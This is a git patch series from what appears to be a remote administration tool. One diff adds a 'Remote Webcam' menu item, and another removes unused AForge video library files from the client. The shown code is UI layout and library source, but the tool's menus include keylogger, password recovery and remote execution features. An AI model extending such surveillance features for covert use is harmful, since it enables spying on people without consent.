System.Windows.Forms.ToolStripMenuItem(); this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.remoteWebcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip.SuspendLayout(); this.tableLayoutPanel.SuspendLayout(); this.statusStrip.SuspendLayout(); @@ -103,7 +103,7 @@ private void InitializeComponent() this.lineToolStripMenuItem, this.selectAllToolStripMenuItem}); this.contextMenuStrip.Name = "ctxtMenu"; - this.contextMenuStrip.Size = new System.Drawing.Size(153, 142); + this.contextMenuStrip.Size = new System.Drawing.Size(150, 120); // // connectionToolStripMenuItem // @@ -114,7 +114,7 @@ private void InitializeComponent() this.uninstallToolStripMenuItem}); this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; - this.connectionToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.connectionToolStripMenuItem.Text = "Connection"; // // updateToolStripMenuItem @@ -165,7 +165,7 @@ private void InitializeComponent() this.actionsToolStripMenuItem}); this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image"))); this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.systemToolStripMenuItem.Text = "System"; // // systemInformationToolStripMenuItem @@ -288,7 +288,7 @@ private void InitializeComponent() this.keyloggerToolStripMenuItem}); this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image"))); this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; - this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.surveillanceToolStripMenuItem.Text = "Surveillance"; // // remoteDesktopToolStripMenuItem @@ -299,6 +299,14 @@ private void InitializeComponent() this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); // + // remoteWebcamToolStripMenuItem + // + this.remoteWebcamToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteWebcamToolStripMenuItem.Image"))); + this.remoteWebcamToolStripMenuItem.Name = "remoteWebcamToolStripMenuItem"; + this.remoteWebcamToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.remoteWebcamToolStripMenuItem.Text = "Remote Webcam"; + this.remoteWebcamToolStripMenuItem.Click += new System.EventHandler(this.remoteWebcamToolStripMenuItem_Click); + // // passwordRecoveryToolStripMenuItem // this.passwordRecoveryToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("passwordRecoveryToolStripMenuItem.Image"))); @@ -323,7 +331,7 @@ private void InitializeComponent() this.showMessageboxToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image"))); this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // remoteExecuteToolStripMenuItem @@ -371,12 +379,12 @@ private void InitializeComponent() // lineToolStripMenuItem // this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; - this.lineToolStripMenuItem.Size = new System.Drawing.Size(149, 6); + this.lineToolStripMenuItem.Size = new System.Drawing.Size(146, 6); // // selectAllToolStripMenuItem // this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; - this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.selectAllToolStripMenuItem.Text = "Select All"; // // imgFlags @@ -797,13 +805,6 @@ private void InitializeComponent() this.aboutToolStripMenuItem.Text = "About"; this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); // - // remoteWebcamToolStripMenuItem - // - this.remoteWebcamToolStripMenuItem.Name = "remoteWebcamToolStripMenuItem"; - this.remoteWebcamToolStripMenuItem.Size = new System.Drawing.Size(175, 22); - this.remoteWebcamToolStripMenuItem.Text = "Remote Webcam"; - this.remoteWebcamToolStripMenuItem.Click += new System.EventHandler(this.remoteWebcamToolStripMenuItem_Click); - // // FrmMain // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index c26fad919..707f4b864 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -303,6 +303,24 @@ ZrNIpVJwu90bdOWR3W7nrFYrZzKZOL1e//Av4Kr8fr+Bulys7tUVxx0Ox5SufP9ftXNBMBi84fP56Hv/ iEq1Rq9Rx+diBbV6G8nkOxgMhp+X65nmAq/Xe4teB7PZDOfn55hOpzg7O1O+2VkoFMLi4uLNyz1zACaX y8XRlRWXLRYLjEYjdDodtFotFhYWmlfr54L/FzS/AGH28noQqAdLAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAK4SURBVDhPbZFfSFNxHMV/OOvuEpQIlQbD0qkQbv1BelBENu+SKDAqSOlBCAo1RRPtoaCC/hNU + WlT4p7ewOfG/YtuDmu5P0S2aIbblQL1TaW4horlevt3zc0YPXTjcwzmfc393d2zzKjRZGBGxjjftyfJH + uTIwPT0YVIJTEDwym9qBKTRJsVXsunPzFr+PvxsrCCqKc3V19Xc0GqX19XUueGTowPy7YTUVVfxk17jz + WCgUUtbW1mh5efm/QgcGLDbV6pbZh96y3q6eFPVVP6+srFAkEgFEHo+HrFYrFzwydGDA9nZ1p2DLT/d+ + 8dajXFpaooWFBWpqaqYLVbV08epdLnhk6MCAxQZb9uD2vW2B6YAdRTgcps7OTjpRXErnG6z0cGSKCx4Z + OjBgscGW2dradX6ffyoYDNLc3BzVVNeQ8dxlOm6bIMn2lQseGTowYLGxtVl1zPq6be+E1/tdfSL5fD4q + KS6hxNO1JD5xk/jIuSHVI0MHBiw22LLmF02Jk5OTnsXFRYKu1NfR9oNm0tR1UNx1Oxc8MnSbHDbY8r/y + g+d9I14NxfDwMB3OPkKC0ULxp25wwSNDBwYsNnw8OjLKBvsHctUnhhRF4b+vr6+PThYVkT5zPxc8MnRg + wGKDLXv57DkrLjoT5xwbv+b75ov+/Uh+P7lcLi74zY8MBiw22PJrYGCI5eebTA0NT+dlWaZAIECzs7M0 + MzPDBY9Mlj9Ro8rk5eWbunv6N8bVtXVMn55hLpCO+iVLIZWVV1BLSys57A5yu91cDoeDWltfUXn5JQJj + liz+falp5rKKSsYEQdAZjEZZr0+nnbt2/0pK3vMzNU3/w2Awzufk5CqQwXBgHhk6MOkZmZSVZZDj47fo + mCiKSTsSEh6r9/taUTy7VRAkjUaTo75ctqpDMWUjUw+TwIDFRtBqk/4AyHJvzhoJdeoAAAAASUVORK5C + YII= @@ -405,7 +423,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAbgBCAG4AQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAcABCAHAAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/images/webcam.png b/Server/images/webcam.png new file mode 100644 index 0000000000000000000000000000000000000000..c5146508d8f15ad359f315492a33fd9c24629a5e GIT binary patch literal 776 zcmV+j1NZ!iP)31_G~Ru~=$rYl|h5Ng;S- z=)nBCp)2)`;^sFqudBo1a3CI!vyF|7-wGWVu-G*5t#s!6IT{-tEh;K5?$GIU2l^O48nf#5}k4h-0_;gO=Vd@FAM{ONORG#X`*NQAAfuCng#9(J*@nO(Zp0l_0f zCm68UU@P5fzqvanC&!)5W=W&b(Cq9ijlP(njQIpvs%jv3WatC~78`6Oqse5*WHN{N zLlOUtG(9ya2kR~hE6bGu`!yA25mN*k(0@UR+eQ-XE?mJMu8vsG#~s< z{3;Shl1QJ_@GeA&M1r)kmayU9M5dkx-G;fjxwoNEh(T9dTiBkXPA0buG3oCK2p*Z} zwmEFDC7kzf-`!hYUKYjVAb4cx1OpZuY^AA}Q^a5P@#f}cB%Mx^ z)oP_1ZGTbq;aybxbr6C_COR-+vB6gIefdfQJ^i!m|3&Y{WAPMTxU{sCZg+OlKz}a; zFEVssz+!`~IOF3Us;qQ4y1MSKsH(~q7Z;h|?`KO(OAx%sRP`gf$C-+XO2_cXQxd1C zxrNLYtMinrYTo5O&1&oFS#NJ2^G zrO;-#t7fx>?c0AKk(XbvZZw(ywb|?|<>e;>kj-{v1sOUp7V96Zq{OCbwL1z)uh-}8 z&CR{TKX2;v`U^W1#U;yfIT4j{9fRPJDZB#%78^yU%liq$D;R6(|FmNO0000 Date: Tue, 14 Jun 2016 01:01:55 +0300 Subject: [PATCH 046/229] Removed unused files from AForge In order to reduce the space used by the client i've deleted the unused files from the AForge library as suggested by @DragonzMaster . I mention that i used the work he did in #424 --- Client/Client.csproj | 13 - .../Video.DirectShow/FileVideoSource.cs | 621 --------------- .../Internals/IFileSourceFilter.cs | 48 -- .../Internals/IMediaFilter.cs | 102 --- .../Video.DirectShow/Internals/IPersist.cs | 32 - .../Internals/IVideoWindow.cs | 466 ------------ .../Video.DirectShow/Internals/Tools.cs | 95 --- .../Properties/AssemblyInfo.cs | 5 - .../Properties/Resources.Designer.cs | 70 -- .../Properties/Resources.resx | 124 --- Client/Core/AForge/Video/AsyncVideoSource.cs | 473 ------------ Client/Core/AForge/Video/ByteArrayUtils.cs | 91 --- Client/Core/AForge/Video/Exceptions.cs | 31 - Client/Core/AForge/Video/JPEGStream.cs | 587 --------------- Client/Core/AForge/Video/MJPEGStream.cs | 704 ------------------ .../Core/AForge/Video/ScreenCaptureStream.cs | 396 ---------- Client/Core/AForge/Video/SystemTools.cs | 164 ---- 17 files changed, 4022 deletions(-) delete mode 100644 Client/Core/AForge/Video.DirectShow/FileVideoSource.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Tools.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Properties/Resources.resx delete mode 100644 Client/Core/AForge/Video/AsyncVideoSource.cs delete mode 100644 Client/Core/AForge/Video/ByteArrayUtils.cs delete mode 100644 Client/Core/AForge/Video/Exceptions.cs delete mode 100644 Client/Core/AForge/Video/JPEGStream.cs delete mode 100644 Client/Core/AForge/Video/MJPEGStream.cs delete mode 100644 Client/Core/AForge/Video/ScreenCaptureStream.cs delete mode 100644 Client/Core/AForge/Video/SystemTools.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index 52ce0aa5b..f851aa4d6 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -54,7 +54,6 @@ - @@ -66,23 +65,18 @@ - - - - - @@ -90,14 +84,7 @@ - - - - - - - diff --git a/Client/Core/AForge/Video.DirectShow/FileVideoSource.cs b/Client/Core/AForge/Video.DirectShow/FileVideoSource.cs deleted file mode 100644 index d3754674d..000000000 --- a/Client/Core/AForge/Video.DirectShow/FileVideoSource.cs +++ /dev/null @@ -1,621 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Drawing; - using System.Drawing.Imaging; - using System.Threading; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Video source for video files. - /// - /// - /// The video source provides access to video files. DirectShow is used to access video - /// files. - /// - /// Sample usage: - /// - /// // create video source - /// FileVideoSource videoSource = new FileVideoSource( fileName ); - /// // set NewFrame event handler - /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// videoSource.Start( ); - /// // ... - /// // signal to stop - /// videoSource.SignalToStop( ); - /// // ... - /// - /// // New frame event handler, which is invoked on each new available video frame - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// - public class FileVideoSource : IVideoSource - { - // video file name - private string fileName; - // received frames count - private int framesReceived; - // recieved byte count - private long bytesReceived; - // prevent freezing - private bool preventFreezing = false; - // reference clock for the graph - when disabled, graph processes frames ASAP - private bool referenceClockEnabled = true; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// Video source is represented by video file name. - /// - public virtual string Source - { - get { return fileName; } - set { fileName = value; } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - public long BytesReceived - { - get - { - long bytes = bytesReceived; - bytesReceived = 0; - return bytes; - } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, free resources - Free( ); - } - return false; - } - } - - /// - /// Prevent video freezing after screen saver and workstation lock or not. - /// - /// - /// - /// The value specifies if the class should prevent video freezing during and - /// after screen saver or workstation lock. To prevent freezing the DirectShow graph - /// should not contain Renderer filter, which is added by Render() method - /// of graph. However, in some cases it may be required to call Render() method of graph, since - /// it may add some more filters, which may be required for playing video. So, the property is - /// a trade off - it is possible to prevent video freezing skipping adding renderer filter or - /// it is possible to keep renderer filter, but video may freeze during screen saver. - /// - /// The property may become obsolete in the future when approach to disable freezing - /// and adding all required filters is found. - /// - /// The property should be set before calling method - /// of the class to have effect. - /// - /// Default value of this property is set to false. - /// - /// - /// - public bool PreventFreezing - { - get { return preventFreezing; } - set { preventFreezing = value; } - } - - /// - /// Enables/disables reference clock on the graph. - /// - /// - /// Disabling reference clocks causes DirectShow graph to run as fast as - /// it can process data. When enabled, it will process frames according to presentation - /// time of a video file. - /// - /// The property should be set before calling method - /// of the class to have effect. - /// - /// Default value of this property is set to true. - /// - /// - public bool ReferenceClockEnabled - { - get { return referenceClockEnabled; } - set { referenceClockEnabled = value;} - } - - /// - /// Initializes a new instance of the class. - /// - /// - public FileVideoSource( ) { } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Video file name. - /// - public FileVideoSource( string fileName ) - { - this.fileName = fileName; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - public void Start( ) - { - if ( !IsRunning ) - { - // check source - if ( ( fileName == null ) || ( fileName == string.Empty ) ) - throw new ArgumentException( "Video source is not specified" ); - - framesReceived = 0; - bytesReceived = 0; - - // create events - stopEvent = new ManualResetEvent( false ); - - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = fileName; // mainly for debugging - thread.Start( ); - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - } - - /// - /// Worker thread. - /// - /// - private void WorkerThread( ) - { - ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; - - // grabber - Grabber grabber = new Grabber( this ); - - // objects - object graphObject = null; - object grabberObject = null; - - // interfaces - IGraphBuilder graph = null; - IBaseFilter sourceBase = null; - IBaseFilter grabberBase = null; - ISampleGrabber sampleGrabber = null; - IMediaControl mediaControl = null; - - IMediaEventEx mediaEvent = null; - - try - { - // get type for filter graph - Type type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); - if ( type == null ) - throw new ApplicationException( "Failed creating filter graph" ); - - // create filter graph - graphObject = Activator.CreateInstance( type ); - graph = (IGraphBuilder) graphObject; - - // create source device's object - graph.AddSourceFilter( fileName, "source", out sourceBase ); - if ( sourceBase == null ) - throw new ApplicationException( "Failed creating source filter" ); - - // get type for sample grabber - type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); - if ( type == null ) - throw new ApplicationException( "Failed creating sample grabber" ); - - // create sample grabber - grabberObject = Activator.CreateInstance( type ); - sampleGrabber = (ISampleGrabber) grabberObject; - grabberBase = (IBaseFilter) grabberObject; - - // add grabber filters to graph - graph.AddFilter( grabberBase, "grabber" ); - - // set media type - AMMediaType mediaType = new AMMediaType( ); - mediaType.MajorType = MediaType.Video; - mediaType.SubType = MediaSubType.RGB24; - sampleGrabber.SetMediaType( mediaType ); - - // connect pins - int pinToTry = 0; - - IPin inPin = Tools.GetInPin( grabberBase, 0 ); - IPin outPin = null; - - // find output pin acceptable by sample grabber - while ( true ) - { - outPin = Tools.GetOutPin( sourceBase, pinToTry ); - - if ( outPin == null ) - { - Marshal.ReleaseComObject( inPin ); - throw new ApplicationException( "Did not find acceptable output video pin in the given source" ); - } - - if ( graph.Connect( outPin, inPin ) < 0 ) - { - Marshal.ReleaseComObject( outPin ); - outPin = null; - pinToTry++; - } - else - { - break; - } - } - - Marshal.ReleaseComObject( outPin ); - Marshal.ReleaseComObject( inPin ); - - // get media type - if ( sampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - grabber.Width = vih.BmiHeader.Width; - grabber.Height = vih.BmiHeader.Height; - mediaType.Dispose( ); - } - - // let's do rendering, if we don't need to prevent freezing - if ( !preventFreezing ) - { - // render pin - graph.Render( Tools.GetOutPin( grabberBase, 0 ) ); - - // configure video window - IVideoWindow window = (IVideoWindow) graphObject; - window.put_AutoShow( false ); - window = null; - } - - // configure sample grabber - sampleGrabber.SetBufferSamples( false ); - sampleGrabber.SetOneShot( false ); - sampleGrabber.SetCallback( grabber, 1 ); - - // disable clock, if someone requested it - if ( !referenceClockEnabled ) - { - IMediaFilter mediaFilter = (IMediaFilter) graphObject; - mediaFilter.SetSyncSource( null ); - } - - // get media control - mediaControl = (IMediaControl) graphObject; - - // get media events' interface - mediaEvent = (IMediaEventEx) graphObject; - IntPtr p1, p2; - DsEvCode code; - - // run - mediaControl.Run( ); - - do - { - if ( mediaEvent != null ) - { - if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) - { - mediaEvent.FreeEventParams( code, p1, p2 ); - - if ( code == DsEvCode.Complete ) - { - reasonToStop = ReasonToFinishPlaying.EndOfStreamReached; - break; - } - } - } - } - while ( !stopEvent.WaitOne( 100, false ) ); - - mediaControl.Stop( ); - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - } - finally - { - // release all objects - graph = null; - grabberBase = null; - sampleGrabber = null; - mediaControl = null; - mediaEvent = null; - - if ( graphObject != null ) - { - Marshal.ReleaseComObject( graphObject ); - graphObject = null; - } - if ( sourceBase != null ) - { - Marshal.ReleaseComObject( sourceBase ); - sourceBase = null; - } - if ( grabberObject != null ) - { - Marshal.ReleaseComObject( grabberObject ); - grabberObject = null; - } - } - - if ( PlayingFinished != null ) - { - PlayingFinished( this, reasonToStop ); - } - } - - /// - /// Notifies client about new frame. - /// - /// - /// New frame's image. - /// - protected void OnNewFrame( Bitmap image ) - { - framesReceived++; - bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); - - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) - NewFrame( this, new NewFrameEventArgs( image ) ); - } - - // - // Video grabber - // - private class Grabber : ISampleGrabberCB - { - private FileVideoSource parent; - private int width, height; - - // Width property - public int Width - { - get { return width; } - set { width = value; } - } - // Height property - public int Height - { - get { return height; } - set { height = value; } - } - - // Constructor - public Grabber( FileVideoSource parent ) - { - this.parent = parent; - } - - // Callback to receive samples - public int SampleCB( double sampleTime, IntPtr sample ) - { - return 0; - } - - // Callback method that receives a pointer to the sample buffer - public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) - { - if ( parent.NewFrame != null ) - { - // create new image - System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); - - // lock bitmap data - BitmapData imageData = image.LockBits( - new Rectangle( 0, 0, width, height ), - ImageLockMode.ReadWrite, - PixelFormat.Format24bppRgb ); - - // copy image data - int srcStride = imageData.Stride; - int dstStride = imageData.Stride; - - unsafe - { - byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); - byte* src = (byte*) buffer.ToPointer( ); - - for ( int y = 0; y < height; y++ ) - { - Win32.memcpy( dst, src, srcStride ); - dst -= dstStride; - src += srcStride; - } - } - - // unlock bitmap data - image.UnlockBits( imageData ); - - // notify parent - parent.OnNewFrame( image ); - - // release the image - image.Dispose( ); - } - - return 0; - } - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs b/Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs deleted file mode 100644 index a362e47a1..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs +++ /dev/null @@ -1,48 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface is exposed by source filters to set the file name and media type of the media file that they are to render. - /// - /// - [ComImport, - Guid( "56A868A6-0Ad4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IFileSourceFilter - { - /// - /// Loads the source filter with the file. - /// - /// - /// The name of the file to open. - /// Media type of the file. This can be null. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Load( [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the current file. - /// - /// - /// Name of media file. - /// Receives media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurFile([Out, MarshalAs( UnmanagedType.LPWStr )] out string fileName, - [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs b/Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs deleted file mode 100644 index e4ca82ecb..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs +++ /dev/null @@ -1,102 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2010 -// andrew.kirillov@gmail.com -// -// Written by Jeremy Noring -// kidjan@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for controlling the flow of data through the filter graph. - /// It includes methods for running, pausing, and stopping the graph. - /// - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "56a86899-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IMediaFilter : IPersist - { - #region IPersist Methods - - [PreserveSig] - new int GetClassID( - [Out] out Guid pClassID ); - - #endregion - - /// - /// This method informs the filter to transition to the new state. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// This method informs the filter to transition to the new state. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// This method informs the filter to transition to the new (running) state. Passes a time value to synchronize independent streams. - /// - /// - /// Time value of the reference clock. The amount to be added to the IMediaSample time stamp to determine the time at which that sample should be rendered according to the reference clock. That is, it is the reference time at which a sample with a stream time of zero should be rendered. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( [In] long tStart ); - - /// - /// This method determines the filter's state. - /// - /// - /// Duration of the time-out, in milliseconds. To block indefinitely, pass INFINITE. - /// Returned state of the filter. States include stopped, paused, running, or intermediate (in the process of changing). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( - [In] int dwMilliSecsTimeout, - [Out] out FilterState filtState ); - - /// - /// This method identifies the reference clock to which the filter should synchronize activity. - /// - /// - /// Pointer to the IReferenceClock interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetSyncSource( [In] IReferenceClock pClock ); - - /// - /// This method retrieves the current reference clock in use by this filter. - /// - /// - /// Pointer to a reference clock; it will be set to the IReferenceClock interface. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetSyncSource( [Out] out IReferenceClock pClock ); - } -} - diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs b/Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs deleted file mode 100644 index 4bf1d91f9..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs +++ /dev/null @@ -1,32 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2010 -// andrew.kirillov@gmail.com -// -// Written by Jeremy Noring -// kidjan@gmail.com - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// Provides the CLSID of an object that can be stored persistently in the system. Allows the object to specify which object - /// handler to use in the client process, as it is used in the default implementation of marshaling. - /// - [ComImport, - Guid("0000010c-0000-0000-C000-000000000046"), - InterfaceType(ComInterfaceType.InterfaceIsDual)] - internal interface IPersist - { - /// - /// Retrieves the class identifier (CLSID) of the object. - /// - /// - /// - [PreserveSig] - int GetClassID([Out] out Guid pClassID); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs b/Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs deleted file mode 100644 index 25f3bfa11..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs +++ /dev/null @@ -1,466 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface sets properties on the video window. - /// - /// - [ComImport, - Guid("56A868B4-0AD4-11CE-B03A-0020AF0BA770"), - InterfaceType(ComInterfaceType.InterfaceIsDual)] - internal interface IVideoWindow - { - /// - /// Sets the video window caption. - /// - /// - /// Caption. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int 